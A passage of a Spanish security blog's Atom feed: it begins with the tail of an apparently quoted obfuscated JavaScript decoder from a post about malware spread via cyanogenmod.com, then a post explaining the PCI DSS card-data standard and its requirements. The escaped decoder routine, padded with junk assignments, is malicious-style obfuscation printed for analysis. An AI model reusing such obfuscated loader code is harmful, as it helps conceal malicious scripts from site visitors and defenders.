 nu=0.0145;
 nu+=0.0027;
 nv=3297;
 nv-=6262;
 ne=&#39;PvM0lenbhD&#39;[h](4,3);
 nj=1000;
 nj-=8550;
 nh=0.0201;

 if(nh&lt;null){
  nf=0.006;
  nf--
  }

 na=0.012;
 ne+=&#39;OcnKgthcA&#39;[h](4,3);
 nq=true;
 ny=0.0047;
 ny--;
 nl=&#39;tJsubh3AB&#39;[h](2,3);
 nw=24;

 if(nw!=4563){
  no=12;
  if(no&lt;0.005){
   nx=2074;
   if(nx&lt;0.0038){
    nr=&#39;feu&#39;
    }
   ng=&#39;egg&#39;
   }
  }

 nk=0.004;
 nt=2375;
 nt-=0.0114;
 nl+=&#39;ETK0strM8bK&#39;[h](4,3);
 nd=12;

 if(nd==0.0196){
  nc=12;

  if(nc&gt;4764){
   ip={ecu:12}
   }
  ii=1780;

  if(ii!=2622){
   im=0.063;
   im+=0.015
   }
  }

 ib=0;
 iu=78;
 iv=16;

 if(iv&lt;13){
  ie=5;
  ie--;
  ij=&#39;sOlpbGmE&#39;
 }

 ih=0;
 iu-=16;
 ia=0.054;
 ia--;
 iz=27;

 if(iz&lt;22){
  iq=8;
  iq-=7
  }

 iy=1239;
 iy--;
 il=&#39;t9indedEs&#39;[h](2,4);
 iw=6713;
 iw+=14;
 io=6682;
 io+=21;
 il+=&#39;g4_xOfq9&#39;[h](3,3);
 ir=0;
 ir+=5610;
 ig=17;

 if(ig==0){
  ik=6319;
  ik+=19
  }

 it=0.004;
 it++;
 is=&#39;7hOpR5eGNYvMr4EAVSwuK3djIbz91ZCa28gmq6XlyBQtkxLJiUD0HnPWoTscFf&#39;;
 id=13;

 if(id!=0.0059){
  ic=2158;
  ic++
  }

 mp=0.008;

 if(mp&gt;0.0088){
  mn=26;
  mn--
  }

 mi=&#39;&#39;;
 mm=7538;
 mb=0.004;
 mb-=0.0219;
 mu=&#39;&#39;;
 mv=21;
 mv--;
 me=0.0129;
 me--;
 mj=27;
 mj+=4071;
 mh=0;
 mf=18;
 mf-=0.0074;
 ma=4272;

 if(ma&lt;9){
  mz=true;
  mq=0.0193;
  mq--
  }

 my=vu[ne];
 ml=20;
 ml+=12;
 mw=7013;

 for(mo=0;mo&lt;my;mo++){
  mx=23;
  if(mx&lt;5331){
   mr=&#39;IjS2gzl&#39;
   }
  mg=4568;
  mk=25;
  mk+=2294;
  mh+=vv;
  mt=21;
  mt--;
  ms=4120;
  ms-=0.005;
  md=14;
  md++;
  mc=vu[nl](mo,1);
  bp=6771;

 if(bp!=null){
  bn=0.0027;
  bn++;
  bi=7825;

  if(bi&gt;15){
   bm=2079;
   if(bm&lt;0.0452){
    bb=7;
    bb--
    }
   }
  }

 bu=2039;
 bu-=1113;
 bv=3743;
 bv--;
 be=is[il](mc);
 bj=22;
 bh=true;
 be+=mh;
 bf=null;
 ba=23;

 if(ba&gt;0){
  bz=9;
  bz+=15
  }

 be%=iu;
 bq=0;
 bq-=0.01;
 by=0.0012;
 by-=0.0233;
 bl=27;
 bl-=15;
 mi+=is[nl](be,1);
 bw=0.005;
 bw--;
 bo=0.0476;
 bo+=2448;
 bx=0.008;

 if(bx&lt;18){
  br=19;
  if(br&lt;8506){
   bg=null
   }
  }
 }

 bk=4232;
 bk--;
 bt=9;

 if(bt&lt;4570){
  bs=15;
  if(bs==2547){
   bd=19;
   if(bd==27){
    bc=0.001;
    bc+=3516;
    up=&#39;dPzDu&#39;
    }
   un=&#39;ail&#39;
   }
  }

 for(ui=0;ui&lt;my;){
  um=6159;
  um+=0.0074;
  ub=13;
  ub--;
  mc=mi[nl](ui,2);
  uv=8077;
  if(uv&gt;0.0063){
   ue=0.006;
   if(ue&lt;0){
    uj=[36,0,45,18,27,9]
    }
    uh=3802;
    if(uh!=0){
     uf=0.0131;
     if(uf==13){
      ua=7176;
      if(ua==0){
       uz=null;
       uq=false
       }
      uy=6883;
      uy++
      }
     }
    }
   ul=&#39;Z5BulXj&#39;;
   uw=parseInt(mc,q);
   uo=1486;
   uo++;
   ux=26;
   if(ux&lt;5003){
    ur=[&#39;and&#39;,&#39;mon&#39;,&#39;biz&#39;]
    }
   ug=11;
   ug+=0.0085;
   mu+=String[g](uw);
   uk=false;
   ut=[&#39;eta&#39;,&#39;fix&#39;,&#39;hop&#39;];
   ui+=2;us=0.0071;
   if(us&gt;6247){
    ud=27;
    ud+=0.0058;
    uc=0.037;
    uc--
    }
   vp=&#39;via&#39;;
   vn=8;
   if(vn&lt;7025){
    vi=23;
    vi--
    }
   }
   vm=0.006;
   vm-=0.0043;
   vb={six:1306};
   return mu
 }
&lt;/script&gt;

&lt;/pre&gt;</content><link rel='replies' type='text/html' href='http://laxmarcaellugar.blogspot.com/2011/10/cyanogenmodcom-malware-spread.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5126521867667260192/posts/default/6576878669538315065'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5126521867667260192/posts/default/6576878669538315065'/><link rel='alternate' type='text/html' href='http://laxmarcaellugar.blogspot.com/2011/10/cyanogenmodcom-malware-spread.html' title='Cyanogenmod.com malware spread'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-5126521867667260192.post-9083650923228401360</id><published>2011-10-03T12:32:00.001+02:00</published><updated>2011-10-03T13:25:11.602+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term="estándares de seguridad"/><category scheme="http://www.blogger.com/atom/ns#" term="PCI"/><category scheme="http://www.blogger.com/atom/ns#" term="seguridad"/><title type='text'>Estándar de Seguridad de Datos para la industria de Tarjeta de Pago, estándar PCI</title><content type='html'>&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-QnV5vUzC7zzEz7r3jR4IileQ6ODCk_jG4N_3kIrQgYbfA5QQ1DtOfAv_lX7j5V2N3ioZIEEauRmMy2PakIM1kQtdoQx2HpDSnJBcrJJ1UbLDlptInxX4dxZPngzvmwIgx7gqe5fU3_s/s1600/LogoPCI.png&quot; imageanchor=&quot;1&quot; style=&quot;clear: left; float: left; margin-bottom: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-QnV5vUzC7zzEz7r3jR4IileQ6ODCk_jG4N_3kIrQgYbfA5QQ1DtOfAv_lX7j5V2N3ioZIEEauRmMy2PakIM1kQtdoQx2HpDSnJBcrJJ1UbLDlptInxX4dxZPngzvmwIgx7gqe5fU3_s/s1600/LogoPCI.png&quot; /&gt;&lt;/a&gt;&lt;b&gt;PCI DSS (Payment Card Data Security Standar&lt;/b&gt; - &lt;i&gt;&lt;b&gt;Estándar de Seguridad de Datos para la industria de Tarjeta de Pago&lt;/b&gt;&lt;/i&gt;&lt;b&gt;)&lt;/b&gt; es un estándar de seguridad en el que se definen medidas para la protección de datos sensibles que puedan aparecer durante el tratamiento, procesamiento o almacenamiento de la información de tarjetas de crédito.&lt;br /&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
Este estándar ha sido desarrollado por el &lt;span id=&quot;goog_1661411853&quot;&gt;&lt;/span&gt;&lt;a href=&quot;https://www.pcisecuritystandards.org/organization_info/index.php&quot;&gt;PCI SSC&lt;/a&gt; &lt;span id=&quot;goog_1661411854&quot;&gt;&lt;/span&gt;(PCI Security Standards Council), formado por las principales empresas emisoras de tarjetas de crédito: &lt;i&gt;Visa Inc., Mastercard Worldwide, American Express, JCB International y Discover Financial Services&lt;/i&gt;.&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
La finalidad de la creación de este estándar es asegurar los datos relacionados con las tarjetas de pago en las organizaciones que procesan, almacenan o tratan dicha información, para evitar el fraude relacionado con las tarjetas de crédito o débito. Las compañías que gestionan este tipo de datos deben cumplir con el estándar PCI, en caso de no cumplirlo deberán afrontar la pérdida del permiso para procesar las tarjetas, someterse a auditorías rigurosas o al pago de multas.&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;
PCI SSC define además otros dos estándares: PCI-PTS y PA-DSS.&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;b&gt;&lt;a href=&quot;https://www.pcisecuritystandards.org/documents/pts_program_guide_2010_v1.pdf&quot;&gt;PCI-PTS&lt;/a&gt;&amp;nbsp;&lt;/b&gt;se aplica a los dispositivos utilizados para la introducción del número PIN (Point-of-interaction devices), así como a los módulos hardware utilizados para el procesamiento de pagos y para autenticación de tarjetas:&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;Dispositivos de punto de interacción atendidos.&lt;/li&gt;
&lt;li&gt;Cajeros automáticos.&lt;/li&gt;
&lt;li&gt;Terminales de pago no atendidos (dispensadores de gasolinas automáticos, kioscos, etc.).&lt;/li&gt;
&lt;/ul&gt;
&lt;b&gt;&lt;a href=&quot;https://www.pcisecuritystandards.org/documents/pa-dss_v2.pdf&quot;&gt;PA-DSS&lt;/a&gt;&amp;nbsp;&lt;/b&gt;se aplica a las aplicaciones de pago de terceros que realizan operaciones de almacenamiento, procesamiento o transmisión de datos de tarjetas, como por ejemplo: puntos de venta, &quot;shopping carts&quot;, etc.&lt;br /&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
PA-DSS gestiona las aplicaciones de operaciones de pago con el fin de asegurar que funcionan de acuerdo al estandar PCI-DSS, además colabora para la organización que utilice estas aplicaciones, cumplan PCI-DSS. El uso de aplicaciones PA-DSS no garantiza el cumplimiento PCI-DSS por parte de la organización.&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
Un asesor PCI-DSS debe verificar que la aplicación de pago está instalada en los sistemas de acuerdo a las instrucciones detalladas en la guía de implementación PA-DSS proporcionada por el vendedor y de acuerdo al estándar PCI-DSS.&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;b&gt;&lt;i&gt;¿Qué organizaciones deben cumplir PCI-DSS?&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
Todas aquellas organizaciones que participen en el procesamiento, transmisión o almacenamiento de información de tarjetas de cŕedito. PCI divide estas organizaciones en tres tipos:&lt;/div&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.pcisecuritystandards.org/merchants/&quot;&gt;Comercios&lt;/a&gt; (Merchants): super/hipermercados, e-commerce, etc.&lt;/li&gt;
&lt;li&gt;Proveedores de Servicio (Service Providers): ISPs, pasarelas de pago, etc.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.pcisecuritystandards.org/financial_institutions/&quot;&gt;Entidades financieras&lt;/a&gt; (Acquirers): bancos, cajas de ahorro, entidades de crédito, etc.&lt;/li&gt;
&lt;/ul&gt;
En función del tipo de organización y de su nivel transaccional, a cada entidad se le asignará un nivel. Cada entidad emisora de tarjetas, de las 5 que conforman el consorcio, establece su conjunto de validaciones a realizar y los informes a entregar, en función del nivel de la organización.&lt;br /&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
Los niveles de los comercios vienen definidos por las&amp;nbsp;empresas emisoras de tarjetas y por el volumen de transacciones realizadas con las entidades financieras. Los niveles de los proveedores de servicios vienen determinados por las&amp;nbsp;empresas emisoras de tarjetas, por el comercio, por la entidad financiera.&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
La clasificación de C&lt;b&gt;omercios&lt;/b&gt; por niveles es la siguiente:&lt;br /&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjB-kdYLekb_sqMmx45dj_7Qm0l2EHu-hYj5NB7j9WuqJ2E4EBnXDFr0zRuzLUJAl-9Tqd45vzDTVeXLISQmJwEoit10V2mc63nMvbQWapaQf7MHnsJ85qsMFHgMWqLX0TWHWuEeNbYh84/s1600/Tabla_1_articulo.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;195&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjB-kdYLekb_sqMmx45dj_7Qm0l2EHu-hYj5NB7j9WuqJ2E4EBnXDFr0zRuzLUJAl-9Tqd45vzDTVeXLISQmJwEoit10V2mc63nMvbQWapaQf7MHnsJ85qsMFHgMWqLX0TWHWuEeNbYh84/s320/Tabla_1_articulo.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Figura 1. Niveles de Comercios.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
Sus requisitos de validación PCI:&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsS_u5QkOfeWAlleJzScI60T8rWodZGQwiszszpBS_q6sQeEzVuixPUtu-uMmYYARZwR_bMmKt9PFFoIcYcvwLMa4gkmrL_-IHFrtpCD0N0Vnmelgk9kztj-askIHI46jASxb4PrKBOUs/s1600/Tabla_2_articulo.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;221&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhsS_u5QkOfeWAlleJzScI60T8rWodZGQwiszszpBS_q6sQeEzVuixPUtu-uMmYYARZwR_bMmKt9PFFoIcYcvwLMa4gkmrL_-IHFrtpCD0N0Vnmelgk9kztj-askIHI46jASxb4PrKBOUs/s320/Tabla_2_articulo.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Figura 2. Requisitos de validación de los niveles de Comercios.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;
Y la información que debe proporcionar para la validación es la siguiente:&lt;br /&gt;
&lt;br /&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5MDV6cTxv1EoO-b0TAKG2hF3IrzVh67AB0myOSC8IRWRAmICa1dUTdD6UPS4C9ZOrf15XkBipt6doKfSLBiw6AJIxSRxc_jEKCbOip6-klU2VYVVag6kNn_CY0RJMEtkceySkOtkP7H4/s1600/Tabla_3a_articulo.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;221&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh5MDV6cTxv1EoO-b0TAKG2hF3IrzVh67AB0myOSC8IRWRAmICa1dUTdD6UPS4C9ZOrf15XkBipt6doKfSLBiw6AJIxSRxc_jEKCbOip6-klU2VYVVag6kNn_CY0RJMEtkceySkOtkP7H4/s320/Tabla_3a_articulo.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Figura 3. Información para la validación de los niveles de comercio 1 y 2.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0s9ps06TQHMM3cCXitisBKcn5UOHtkusQhtwYwbuX8J2Ul9gPZN8NVMzY5_EsFPkmaucv16rl6PNy62JCV5IMJVp2eqFXVN3M1osEgojpzZsCHqUJ_wL82BR6FvQBEOOi2W-tiSRZafU/s1600/Tabla_3b_articulo.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;178&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh0s9ps06TQHMM3cCXitisBKcn5UOHtkusQhtwYwbuX8J2Ul9gPZN8NVMzY5_EsFPkmaucv16rl6PNy62JCV5IMJVp2eqFXVN3M1osEgojpzZsCHqUJ_wL82BR6FvQBEOOi2W-tiSRZafU/s320/Tabla_3b_articulo.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Figura 4. Información para la validación de los niveles de comercio 3 y 4.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
En cuanto a los niveles de &lt;b&gt;Proveedores de Servicio&lt;/b&gt;:&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7tpoRGE4yAeSOiH1anfdeB8aT7wps7s_x8lkh_YtPl4aKVkLIzLmGMIm3gJQCAtOCeSih1t0gkvDop0L6rGavV2xuctuJ3bSdcK7pgJ0W7ghYmlAyhOzV3ijFLVxqi66kh0IwZEObhFI/s1600/Tabla_4_articulo.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;111&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj7tpoRGE4yAeSOiH1anfdeB8aT7wps7s_x8lkh_YtPl4aKVkLIzLmGMIm3gJQCAtOCeSih1t0gkvDop0L6rGavV2xuctuJ3bSdcK7pgJ0W7ghYmlAyhOzV3ijFLVxqi66kh0IwZEObhFI/s320/Tabla_4_articulo.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Figura 5. Niveles de Proveedores de Servicio.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
Los requisitos de validación e informes de los Proveedores de Servicio son los siguientes:&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;table align=&quot;center&quot; cellpadding=&quot;0&quot; cellspacing=&quot;0&quot; class=&quot;tr-caption-container&quot; style=&quot;margin-left: auto; margin-right: auto; text-align: center;&quot;&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiCJ8JPoPkCQq3fhrICAUmrZ4n_iGNVosHfuD20v1wYasRrmCcQhW6CbVehXBWH59CbnGGt-u31mtBftoSTCq8yGy1ZEQKUL_XPOBjO4btf7p5zZTKbnB8cl79mVtv4MujtDouu1OgDA0/s1600/Tabla_5_articulo.png&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: auto; margin-right: auto;&quot;&gt;&lt;img border=&quot;0&quot; height=&quot;106&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgiCJ8JPoPkCQq3fhrICAUmrZ4n_iGNVosHfuD20v1wYasRrmCcQhW6CbVehXBWH59CbnGGt-u31mtBftoSTCq8yGy1ZEQKUL_XPOBjO4btf7p5zZTKbnB8cl79mVtv4MujtDouu1OgDA0/s320/Tabla_5_articulo.png&quot; width=&quot;320&quot; /&gt;&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td class=&quot;tr-caption&quot; style=&quot;text-align: center;&quot;&gt;Figura 6. Requisitos de validación e informes para los Proveedores de Servicio.&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;b&gt;&lt;i&gt;Estándar PCI-DSS 2.0&lt;/i&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
En la versión actual del estándar (&lt;a href=&quot;https://www.pcisecuritystandards.org/security_standards/documents.php?document=pci_dss_v2-0#pci_dss_v2-0&quot;&gt;versión 2.0&lt;/a&gt;) se especifican 12 requisitos para que una organización cumpla PCI-DSS, divididos en 6 objetivos de control.&amp;nbsp;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;i style=&quot;font-weight: bold;&quot;&gt;Objetivo de Control 1&lt;/i&gt;&lt;b&gt;: &lt;/b&gt;&lt;i&gt;Desarrollar y Mantener una Red Segura&lt;/i&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Instalar y mantener una configuración de cortafuegos para proteger los datos de los propietarios de tarjetas.&lt;/li&gt;
&lt;li&gt;No usar contraseñas del sistema y otros parámetros de seguridad predeterminados provistos por los proveedores.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;i style=&quot;font-weight: bold;&quot;&gt;Objetivo de Control 2&lt;/i&gt;&lt;b&gt;:&amp;nbsp;&lt;/b&gt;&lt;i&gt;Proteger los Datos de los propietarios de tarjetas&lt;/i&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Proteger los datos almacenados de los propietarios de tarjetas.&lt;/li&gt;
&lt;li&gt;Cifrar los datos de los propietarios de tarjetas e información confidencial transmitida a través de redes públicas abiertas.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;i style=&quot;font-weight: bold;&quot;&gt;Objetivo de Control 3&lt;/i&gt;&lt;b&gt;:&amp;nbsp;&lt;/b&gt;&lt;i&gt;Mantener un Programa de Manejo de Vulnerabilidad&lt;/i&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Usar y actualizar regularmente un software antivirus.&lt;/li&gt;
&lt;li&gt;Desarrollar y mantener sistemas y aplicaciones seguras.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;i&gt;&lt;b&gt;Objetivo de Control 4:&amp;nbsp;&lt;/b&gt;Implementar Medidas sólidas de control de acceso&lt;/i&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Restringir el acceso a los datos tomando como base la necesidad del funcionario de conocer la información.&lt;/li&gt;
&lt;li&gt;Asignar una Identificación única a cada persona que tenga acceso a un computador.&lt;/li&gt;
&lt;li&gt;Restringir el acceso físico a los datos de los propietarios de tarjetas.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;i style=&quot;font-weight: bold;&quot;&gt;Objetivo de Control 5&lt;/i&gt;&lt;b&gt;:&amp;nbsp;&lt;/b&gt;&lt;i&gt;Monitorear y Probar regularmente las redes&lt;/i&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Rastrear y monitorizar todo el acceso a los recursos de la red y datos de los propietarios de tarjetas.&lt;/li&gt;
&lt;li&gt;Probar regularmente los sistemas y procesos de seguridad.&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;i style=&quot;font-weight: bold;&quot;&gt;Objetivo de Control 6&lt;/i&gt;&lt;b&gt;:&amp;nbsp;&lt;/b&gt;&lt;i&gt;Mantener una Política de Seguridad de la Información&lt;/i&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;
&lt;ul&gt;
&lt;li&gt;Mantener una política que contemple la seguridad de la información&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
Estos requisitos combinados con diversos procedimientos de prueba dan lugar a una herramienta para el aseguramiento de los sistemas.&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div style=&quot;text-align: left;&quot;&gt;
En una segunda entrega del blog, entraremos a comentar cada uno de estos requisitos más en profundidad.&lt;/div&gt;
</content><link rel='replies' type='text/html' href='http://laxmarcaellugar.blogspot.com/2011/10/estandar-de-seguridad-de-datos-para-la.html#comment-form' title='1 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/5126521867667260192/posts/default/9083650923228401360'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/5126521867667260192/posts/default/9083650923228401360'/><link rel='alternate' type='text/html' href='http://laxmarcaellugar.blogspot.com/2011/10/estandar-de-seguridad-de-datos-para-la.html' title='Estándar de Seguridad de Datos para la industria de Tarjeta de Pago, estándar PCI'/><author><name>Unknown</name><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='https://img1.blogblog.com/img/b16-rounded.gif'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-QnV5vUzC7zzEz7r3jR4IileQ6ODCk_jG4N_3kIrQgYbfA5QQ1DtOfAv_lX7j5V2N3ioZIEEauRmMy2PakIM1kQtdoQx2HpDSnJBcrJJ1UbLDlptInxX4dxZPngzvmwIgx7gqe5fU3_s/s72-c/LogoPCI.png" height="72" width="72"/><thr:total>1</thr:total></entry></feed>